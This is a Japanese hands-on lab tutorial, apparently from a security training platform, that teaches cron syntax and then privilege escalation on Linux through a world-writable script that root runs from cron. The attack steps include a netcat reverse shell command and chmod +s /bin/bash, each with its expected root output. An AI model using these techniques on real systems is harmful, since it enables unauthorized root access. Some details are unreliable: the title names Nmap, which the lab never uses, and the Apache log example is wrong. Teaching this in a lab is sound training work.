Nmap で Cron ジョブと権限昇格を学ぶ

Beginner

はじめに

この実験では、Cron Jobs と cron 構文について学び、実践的な演習を通じて、すぐに crontab の使い方を習得することができます。さらに、誤った crontab 設定を利用して Linux 上で権限昇格を行う方法を理解します。

Cron ジョブと Cron 構文の理解

このステップでは、Cron Jobs と cron 構文について説明します。

Cron Jobs は Linux システムにおける「スケジュールされたタスク」で、定期的に実行する必要のあるコマンド(定期的なデータバックアップやキャッシュのクリアなど)をスケジュールするために一般的に使用されます。これらは cron ツール(crontab)を使用するため、Cron Jobs と呼ばれます。

Cron Jobs はシステム管理者が最もよく使用するツールの 1 つで、それ自体が優れたツールです。ただし、「スケジュールされたタスク」がより高いユーザー権限(例えば、root ユーザー)で実行されるように設定されている場合、攻撃者によって権限昇格のために悪用される可能性があります。

crontab コマンドは次の構文を使用します。

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- Day of the week (0 - 7) (0 = Sunday)
|    |    |    +---------- Month (1 - 12)
|    |    +--------------- Day of the month (1 - 31)
|    +-------------------- Hour (0 - 23)
+------------------------- Minute (0 - 59)

user フィールドはオプションです。指定しない場合、コマンドまたはスクリプトは現在のユーザーの権限で実行されます。

root ユーザーのみが、他のユーザーの権限でコマンドまたはスクリプトを実行するように指定できることに注意してください。

たとえば、Apache のエラーログを 1 時間ごとに出力したい場合は、次のステートメントを使用できます。

0 * * * * echo /var/log/lastlog

hourdaymonthweek がすべて * に設定されているため、スケジュールされたタスクは分が 0 になるたびに 1 回実行され、つまり 1 時間ごとに実行されます。

2 時間ごとに 15 分にコマンドを実行する必要がある場合は、どうすればよいでしょうか?簡単に変更することができます。

15 */2 * * * echo /var/log/lastlog

cron の使い方を理解するために、例を見てみましょう。

  1. ターミナルを開き、/home/labex/project ディレクトリに移動します。次に、次のコマンドを実行して実験環境を初期化します。

    ./env_setup1.sh
    

    初期化が成功すると、labex ユーザーのホームディレクトリに cleanup.py ファイルと trashDirectory ディレクトリが表示されます。trashDirectory ディレクトリには 2 つのファイル error.logreadme.txt が含まれています。

    この実験の目標は次のとおりです。crontab を使用して、1 分ごとに cleanup.py スクリプトを呼び出して /home/labex/project/trashDirectory ディレクトリ内のすべてのデータをクリアするスケジュールされたタスクを追加します。cleanup.py スクリプトは、os.system() 関数を通じて rm システムコマンドを呼び出して /home/labex/project/trashDirectory ディレクトリをクリアするだけです。

  2. 次に、次のコマンドを使用して crontab にスケジュールされたタスクを追加します。

    echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null
    

    上記のコマンドは、crontab ファイルにスケジュールされたタスクを追加します。このタスクは「毎分」実行され、cleanup.py スクリプトは root 権限で実行されます。

  3. この実験環境のマシンでは cron サービスがデフォルトで無効になっているため、次のコマンドで手動で起動する必要があります。

    sudo service cron start
    

    期待される出力:

    * Starting periodic command scheduler cron
    

    約「1 分」後に、/home/labex/project/trashDirectory ディレクトリに入り、ls コマンドを使用すると、ディレクトリ内のデータがクリアされていることがわかり、cron ジョブが正しく実行されていることを示しています。

Crontab スクリプトを上書きしてリバースシェルを実行する

このステップでは、crontab が呼び出すスクリプトを上書きすることで権限昇格を行う方法を学びます。

  1. まず、ターミナルを開き、/home/labex/project ディレクトリに移動します。次に、次のコマンドを実行して実験環境を初期化します。

    cd /home/labex/project
    

    実験環境を初期化するスクリプトを実行します。

    ./env_setup2.sh
    
  2. 初期化が成功したら、次のコマンドを使用してホスト上のスケジュールされたタスクを表示します。

    cat /etc/crontab
    

    ファイルの末尾にあるスケジュールされたタスクの 1 つが注目されます。システムは毎分、root として /home/labex/project/cleanup.py スクリプトを実行します。これは前のステップで使用したファイルです。

  3. 次に、スクリプトの権限を確認しましょう。

    ls -al /home/labex/project/cleanup.py
    

    cleanup.py のファイル権限にはリスクがあることに気づきます。他のユーザーにも書き込み (w) 権限があります。つまり、cleanup.py の内容を編集して変更することができます!

  4. cleanup.py は root 権限で実行されるため、root 権限でリバースシェルを使用することができます。

    cleanup.py スクリプトを変更して、nc.traditional を使用してローカルポート 4444 にリバースシェルを接続します。

    ...
    os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
    ...
    

    ファイルを保存すると、変更は 1 分後に有効になります。

    nc.traditional を使用する理由は、デフォルトの nc コマンドでは -e オプションがサポートされていないためです。

  5. 次に、次のコマンドを実行してローカルポート 4444 を監視します。

    nc -lnvp 4444
    

    期待される出力:

    Listening on 0.0.0.0 4444
    

    しばらく待つと、root 権限でリバースシェルを正常に受信します。

    Connection received on 127.0.0.1 45480
    

    whoami コマンドを実行して、現在のユーザーを確認してみましょう。

    whoami
    root
    

Crontab スクリプトを上書きして Bash に SUID を付与する

先ほど議論した SUID 権限昇格を覚えていますか?cleanup.py スクリプトを使って、特定の実行可能ファイルの権限を変更し、setuid ビットを設定することもできます。これにより、SUID 権限昇格を行うことができます。例えば、bash に setuid ビットを設定することができます。

前のステップの後、root シェルにいる可能性があります。このステップでは、root シェルからログアウトし、次のコマンドを実行して labex ユーザーとして再度ログインする必要があります。

exit

または、新しいターミナルを開き、labex ユーザーとしてログインすることもできます。

次に、次のコマンドを実行して /home/labex/project ディレクトリに移動します。

cd /home/labex/project
  1. 現在、/bin/bash には setuid ビットが設定されていません。

    ls -l /bin/bash
    
  2. 前のステップと同様に、cleanup.py スクリプトが実行するコマンドを次のコマンドに変更します。

    ...
    os.system("chmod +s /bin/bash")
    ...
    
  3. しばらくすると、/bin/bash を確認すると、setuid ビットが設定されていることがわかります。これは、スケジュールされたタスクが正常に実行されたことを示しています。

    ls -l /bin/bash
    

    期待される出力:

    -rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash
    

    上記のように、現在は bash -p を使って root 権限を取得することができます。

    labex:project/ $ bash -p
    bash-5.1## whoami
    root
    
  4. /root ディレクトリに success.txt という名前のファイルを作成し、権限昇格に成功したことを示します。

    echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
    

まとめ

この実験では、Cron Jobs と cron 構文について学び、実践的な演習を通じて crontab の使い方を習得しました。最後に、誤った crontab 設定を利用して、シェルの権限を root 権限に昇格させることに成功しました。